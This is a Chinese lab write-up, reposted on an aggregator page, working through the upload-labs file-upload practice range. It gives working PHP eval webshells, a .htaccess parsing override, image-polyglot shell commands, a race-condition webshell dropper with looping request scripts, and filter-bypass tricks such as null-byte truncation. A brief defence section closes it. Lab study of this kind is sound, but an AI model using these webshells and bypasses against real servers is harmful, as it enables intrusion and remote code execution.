您的位置:首页 > 房产 > 建筑 > 百度seo优化网站_成人大专报名时间2022年_百度推广竞价排名_百度一下网页

百度seo优化网站_成人大专报名时间2022年_百度推广竞价排名_百度一下网页

2025/1/13 17:22:01 来源:https://blog.csdn.net/lyj1597374034/article/details/144279390  浏览:    关键词:百度seo优化网站_成人大专报名时间2022年_百度推广竞价排名_百度一下网页
百度seo优化网站_成人大专报名时间2022年_百度推广竞价排名_百度一下网页

文件上传漏洞原理

  • 假如上传了一个php文件里面有这行代码

image-20241031001635139

执行了wuya这个post参数

假如输入了system(ipconfig)等,就能查看服务器的网络情况。

image-20241031002004043

WebShell介绍

  • 一句话木马

image-20241031002232561

  • 小马

image-20241031002255511

  • 大马

image-20241031002337287

  • 常见的一句话木马、小马、大马

  • https://github.com/tennc/webshell

  • https://github.com/xl7dev/WebShell

这样就不用自己写了

靶场练习

环境

放在F:\dev_sec\apache\Apache24\htdocs\upload-labs

第一关(前端js过滤——禁用js)

特点是:会在前端用js过滤掉非图片后缀的文件

方式一:禁用js

  • 使用火狐浏览器,关掉javascript.enabled

关闭方式:about:config下搜索javascript.enabled

可以发现,上传shell.php成功了!

"shell.php"
<?phpheader("Content-type:text/html;charset=gb1232");echo "<pre>";@eval($_POST['wuya']); 
?>

方式二:直接在网页修改js,删掉checkFile()即可。

image-20241110152717096

上传shell.php后,我们直接用中国蚁剑就能获取所有信息了。

image-20241110152858421

image-20241110152930344

第二关(后端MIME过滤——BP改MIME类型)

从下述源码可以看出来,主要是对MIME类型进行了一个判断,只有特定MIME类型的可以被上传

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '文件类型不正确,请重新上传!';}} else {$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';}
}

所以,我们可以想到用burp suite抓包来修改MIME类型即可

  1. 上传shell.php

image-20241118232859981

  1. burp suite抓包

image-20241118233111073

然后forward

image-20241118233258741

上传成功!

然后就可以用中国蚁剑为所欲为了。

第三关(后端简单判断扩展名——使用等价扩展名)

image-20241119232528078

可以看到,源码只是匹配了下.php被拒绝了。但是等价扩展名没有,所以我们可以以此来绕过。

image-20241119232628267

所以,我们把shell.php重命名为shell.php3即可。然后上传即可。

前提:要在apache里面设置好支持.php3或者php5才行。

Apache24\conf\httpd.conf

image-20241119234132307

image-20241119232843702

上传成功!

image-20241119234404407

第四关(Apache的Overwrite All漏洞——上传.htaccess来转换解析方式)

知识家园:

伪静态页面:

image-20241119234948273

52pojie里面,为了让搜索引擎更容易搜索到自己的内容,将动态页面转为了静态页面后缀,称为伪静态。

那么这个转换是怎么转的呢?其实是使用了Apache里的.htaccess这个文件。

image-20241119235127965

看源码,明显,所有等价扩展名都考虑到了

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

所以,我们无法使用等价扩展名。

考虑到我们上面介绍的知识,我们可以用.htaccess文件来将.jpg文件当作.php来解析。

<FilesMatch "a.jpg">SetHandler application/x-httpd-php
</FilesMatch>

第一步:上传.htaccess

内容就是

<FilesMatch "a.jpg">SetHandler application/x-httpd-php
</FilesMatch>

这个的作用是在upload文件夹内匹配到a.jpg的话,把它当作php来解析。

第二步:将shell.php重命名为a.jpg,然后上传。

第三步:用中国蚁剑来获取shell

前提:apache必须配置AllowOverride all

image-20241120000636328

注意,可能存在多处,建议都改下。

第六关(后端过滤时没有过滤小写——使用大写的.PHP文件来绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

可以发现,源码并没有对其转为小写。所以我们可以用PHP文件尝试。

image-20241129223457390

可以发现,上传成功。

image-20241129223552911

第七关(空格绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATAif (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

从源码可以看到,没有过滤空格。

但是由于在windows,含空格的文件会被自动去掉空格,所以我们可以抓包,然后把空格给加上。这样就可以绕过黑名单了。

image-20241129230437727

注意,本关要求的php版本较低,笔者用的5.3.29可以复现。

image-20241129225439851

说下原理。

  • 在windows,首尾含空格的文件会被自动去掉空格。
  • 所以,当上传末尾有空格的文件时,黑名单肯定是匹配不上的。
  • 但是当一被保存到服务器(就是本机windows),末尾空格又被去掉了,所以又能被解析为php文件了。

第八关(.号绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

可以发现,没有末尾句号过滤。

所以,我们和第七关一样,抓包,然后末尾加英文句号就行。

同样需要低版本php

image-20241129230518409

第九关(::$DATA绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

可以看到::$DATA符没有去除

同样,抓包,然后添加符号,然后就可以上传成功了。原理同第七关。

image-20241129231110445

第十关(结合空格 和 英文句号绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

可以看到,几乎无懈可击!上面提到的所有空格、英文句号、$DATA都被拦截了。

但是看下这个时序,还以有点漏洞了。

可以看到,是先过滤了英文句号,再过滤空格。

假如我们构造成这样:

.php. .

最后一个 . 先被去掉。

然后是一个空格被去掉。

所以,最后还是会被留下一个 .

因此,还是能达到我们上面 . 号绕过的效果。

image-20241129231507306

image-20241129233055227

第十一关(双写)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;        if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

可以发现,这里是将php替换成空。

结合之前的思路,我们直接采用双写就可以了。

image-20241129233414160

image-20241129233426778

可以看到双写就可以了。

第十二关(文件截断——%00URL编码形式的截断字符)

前置知识。

Content-Disposition

使用 multipart/form-data 格式提交表单数据时,每个表单字段和相关文件都需要一个 Content-Disposition 头来提供相关信息。这个头的第一个指令总是 form-data,并且必须包含一个 name 参数来标识相关字段。如果传输文件,还可以包含一个 filename 参数来指定文件的初始名称。

Content-Disposition: form-data; name=“fieldName”

Content-Disposition: form-data; name=“fieldName”; filename=“filename.jpg”

也就是说,Content-Disposition的filename是用来指示初始名称的。

image-20241130000433017

可以看到,filename就是要上传的文件的初始名称。

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上传出错!';}} else{$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}

可以看到,这里是使用了save_path和upload_file拼接出来的。

也就是说,在最后①要拼接到②。

image-20241130000853754

从上面逻辑可以看到,只要filename是以png结尾的,就可以绕过白名单校验。

但是,我们要上传的肯定是shell.php。

所以我们可以采用文件截断的方式,来保证生效的是shell.php文件,但是白名单校验的是shell.png文件。

抓包后像下面这样修改就可以上传成功了。(注意php版本为php5.5.9)

image-20241130001315326

image-20241130001524145

第十三关(文件截断——Hex16进制截断符)

看源码,和十二关一样,但是抓包后,发现,save_path也被保存到Content-Disposition 了。

image-20241130002432238

同样,…/upload/和filename会进行拼接。所以仍然是文件来绕过白名单。

但是,此处已经不是url编码了,所以我们需要一个16进制的00来进行截断。

我们直接进入hex模式,找到对应位置,添加00即可。

  • 第一步:按要求改这两个。

image-20241130002700218

  • 第二步,进入hex,填写16进制的00

image-20241130002756438

然后上传也成功了。

php版本5.5.9

第十四关(文件头校验——合成shell.jpg+文件包含绕过)

php版本7.3.4nts

function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2); //只读2字节fclose($file);$strInfo = @unpack("C2chars", $bin);    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    $fileType = '';    switch($typeCode){      case 255216:            $fileType = 'jpg';break;case 13780:            $fileType = 'png';break;        case 7173:            $fileType = 'gif';break;default:            $fileType = 'unknown';}    return $fileType;
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);if($file_type == 'unknown'){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}

可以看到主要逻辑就是,读取文件头,从而识别是哪些文件。

image-20241201212556684

也就是说,单纯改文件后缀名已经无效了。

我们必须将shell.php包含在一个git或者jpeg里面。命令如下:

windows下
copy huaji.jpg /b + shell.php /a shell.jpg
linux下
cat huaji.jpg shell.php > shell.jpg

如上,可以生成shell.jpg。里面包含shell.php的一句话木马,并且文件头是gif的文件头。

image-20241201213757078

题干说了要利用文件包含漏洞。

点进去看到,里面居然把参数里面的值都include了进来。

image-20241201214028178

由于我们上传的shell.jpg里面有恶意代码,如果可以include一下,让这些代码被include进来页面,就能让这些恶意代码得到了执行。

  • 第一步:生成shell.jpg
  • 第二步:上传shell.jpg
  • 第三步,利用include.php来包含shell.jpg。从而让恶意代码得到执行。

image-20241201214354600

第十五关(getimagesize校验——合成shell.jpg+文件包含绕过)

function isImage($filename){$types = '.jpeg|.png|.gif';if(file_exists($filename)){$info = getimagesize($filename);$ext = image_type_to_extension($info[2]);if(stripos($types,$ext)>=0){return $ext;}else{return false;}}else{return false;}
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}

可以看到是,getimagesize是用于计算图片大小的。如果不是图片,会返错,从而达成过滤。

image-20241201214751244

因为我们上面十四关生成的shell.jpg也是一个图片,所以仿照上面的就可以直接过了。

第十六关(exif_imagetype校验——合成shell.jpg+文件包含绕过)

php版本 php-7.4.22

image-20241201215510267

和上面十四关是一样的。也是读取前面直接来检查。直接参照前面解法就行。

第十七关(二次渲染——010Editor得到未被改变的段落,把php脚本写到该段落即可。)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径$filename = $_FILES['upload_file']['name'];$filetype = $_FILES['upload_file']['type'];$tmpname = $_FILES['upload_file']['tmp_name'];$target_path=UPLOAD_PATH.'/'.basename($filename);// 获得上传文件的扩展名$fileext= substr(strrchr($filename,"."),1);//判断文件后缀与类型,合法才进行上传操作if(($fileext == "jpg") && ($filetype=="image/jpeg")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromjpeg($target_path);if($im == false){$msg = "该文件不是jpg格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".jpg";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagejpeg($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else if(($fileext == "png") && ($filetype=="image/png")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefrompng($target_path);if($im == false){$msg = "该文件不是png格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".png";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagepng($im,$img_path);@unlink($target_path);$is_upload = true;               }} else {$msg = "上传出错!";}}else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromgif($target_path);if($im == false){$msg = "该文件不是gif格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".gif";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagegif($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else{$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";}
}

关键是imagecreatefromgif这个函数。

image-20241201221807776

经过试验可知道,imagecreatefrompng的二次渲染会把shell.jpg中我们嵌入进去的shell.php的攻击代码给删掉了。

  • 校验方式:

    1. 上传shell.gif
    2. 把页面上的gif和原shell.gif对比,查看是哪部分变了,哪部分没变。

    image-20241201225255785

    可以看到,红色的是变了的,黑色的是没变的。

    所以我们把原来的shell.php那段16进制代码复制到灰色的地方就行。

    image-20241201225341322

    保存成新的shell.gif。

    然后就可以上传成功挖到漏洞了。

image-20241201225416917

第十八关(move到upload目录后再判断白名单后删除——条件竞争解决)

$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg = '上传出错!';}
}

查看源码:

  • 如果不是白名单的文件的话,就删除该文件。
  • 但是由于保存、移动路径和删除存在时间差,我们可以利用条件竞争来破解。

image-20241201233239747

由于绿色的阶段非常短,所以我们可以这样。

  • 上传一个php文件,该文件一旦被访问,就能生成一个一句话木马文件。
  • 然后我们快速执行 上传->访问->上传->访问->上传->访问->就能得到生成想要的一句话木马文件了。

image-20241201234001548

  • 产生一句话木马的文件。

competition.php

<?php fputs(fopen('wuya.php', 'w'), '<?php @eval($_POST["wuya"])?>');?>

第一步:使用BP的Intruder来不断上传competition.php。保证,频繁的存在上面的绿色阶段。

  1. 上传competition.php,然后BP拦截,将报文发到intruder
  2. 在intruder删除可变位。并选中null payloads和无限发包。

image-20241201235136250

image-20241201235221003

设置20并发的线程。

image-20241201235308828

其实开始attack后,直接手动访问几次

http://localhost/upload-labs/upload/competition.php

也是会成功的。当然如果手速不够的话,用python脚本去跑也是一样的。

第二步:写一个python文件,然后不断的去访问wuya.php。

import requests
url = "http://localhost:7298/upload-labs/upload/competition.php"
while True:html = requests.get(url)if html.status_code == 200:print("OK")break

第十九关(白名单判断后再move到upload目录——图片马+条件竞争)

这关和第十八关的区别就是:

  • 第十八关是:先把临时文件挪到正经能访问的uploads目录之后,才判断是否是白名单,不是的话就删除。(也就是说,php文件是有可能短暂出现uploads目录的)

  • 第十九关:先把临时文件的类型按白名单判断后,是白名单才会挪到uploads目录,然后重命名。也就是php文件根本不可能出现在uploads目录,所以我们必须借助图片马。

  • 也就是说,我们需要在判断完白名单后、重命名前,访问到含php脚本的jpg文件,通过文件包含,生成一句话木马文件。

  • 如果重命名后,我们不知道该jpg文件叫啥了,所以无法操作,所以必须抓住这个短短的时间窗,来include它里面的php脚本,从而生成一句话木马php到服务器里。这个时间窗很短。可能要跑很多次才能实现。

这里有一个细节,由于可能是这个靶场的作者的某种原因可能有误,上传的图片路径不是放在upload文件夹下,所以我们要进去修改一下第19关的代码文件

image-20241202000940517

要改成如下图的样子并保存重启靶场

image-20241202000947070

打开第十九关,发现还是需要代码审计。那么再来看看源码吧。

从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。

这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。

这里还是将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马。

<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>

第一步:生成图片马

image-20241202001030390

第二步:上传图片马,用BP拦截(基本上在BP上的操作跟上面第18关没区别)

image-20241202001046240

点击Clear$

image-20241202001057924

接着设置无限发送空的Payloads,来让它一直上传该文件

image-20241202001106091

image-20241202001121046

最后建议这里把线程设置高一点

image-20241202001129222

然后我们要修改一下python脚本,不能再用回第18关的脚本了,这里脚本要修改为文件包含来访问(由于隐私原因,IP地址不能放出来,下面的脚本的url地址XXX都是代表IP地址)

import requests
url = "http://xxx.xxx.xxx.xx/upload-labs/include.php?file=upload/pass19.png"
while True:html = requests.get(url)if ( 'Warning'  not in  str(html.text)):print('ok')break

接下来我们可以用BP进行攻击,并同时运行python脚本

当出现OK说明访问到了该文件,那么Tony.php应该也创建成功了,用蚁剑连一下试试。

这里注意一下蚁剑连接的URL为http://xxx.xxx.xxx.xxx/upload-labs/Tony.php

image-20241202001229555

其实这题同样的这也属于条件竞争的一种,只不过文件的形式不同而已。但是这题存在一个概率问题,比如我这次很短时间可以跑出来,但是下一次再同样做一次的话可能要长一点时间,反正我第一次打这关我当时BP跑了5W都没跑出来,而这次在30个包之后就可以出来了,不过还是那句,建议BP的线程能设高一点,效果可能会更好。

第二十关(move_uploaded_file漏洞——使用/.特点绕过黑名单校验)

  • 没有对上传的文件做判断,只对用户输入的文件名做判断。判断方式为后缀名黑名单。
  • move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.

如下,即可上传成功。

image-20241206002005775

第二十一关(CTF)

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){//检查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{//检查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功!";$is_upload = true;} else {$msg = "文件上传失败!";}}}
}else{$msg = "请选择要上传的文件!";
}

看源码,主要有三个逻辑:

  1. 进行了mime类型的判断
  • 输入的文件名:

    1. 必须是一个数组,并且数组最后一个元素后缀是jpg

    2. 第一个元素和最后一个元素拼起来是一个jpg文件,该文件会被上传。

漏洞点:

  1. BP可以改mime类型

  2. BP可以改后缀。

  3. f i l e [ c o u n t ( file[count( file[count(file) - 1]。我们可以让数组元素为2。但是只包含 f i l e [ 0 ] 和 file[0]和 file[0]file[2]。

    这样。

    • count($file)就是2

    • f i l e [ c o u n t ( file[count( file[count(file) - 1]就是空。

    • $file_name = reset($file) . '.' . $file[count($file) - 1]所以就可以变为$file_name = reset($file) . '.'

    • 这样利用上一关move_uploaded_file的特点。就能构造出漏洞了。

image-20241206005221080

文件上传漏洞发现与利用

利用流程:

  1. 找到上传的位置
  2. 尝试绕过校验,上传文件
  3. 获得文件位置
    • 开源代码可以直接审计,查看把文件存在哪里
    • 如果可以在服务器做一个文件变化监视器,查看哪里新增了文件。就可以知道位置。
    • 如果文件没有执行的权限。
  4. 蚁剑连接

额外:

image-20241206010128908

fuxploider

自动扫描是否有文件上传漏洞。

防御

文件上传漏洞发生前提:

image-20241206010629774

针对2:各种方式校验文件类型:后缀、mime、文件头

针对3:隐藏上传路径、随机化文件名

针对4:权限控制。

image-20241206010818057

附录

foxyproxy 和火狐和burp suite环境配置

  1. apache设置为8888端口即可。

    访问时如下访问

    http://localhost:8888/upload-labs/Pass-02/index.php
    
  2. 火狐

设置为8081即可

image-20241118231425287

  1. foxy proxy

设置为8081即可

image-20241118231517118

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com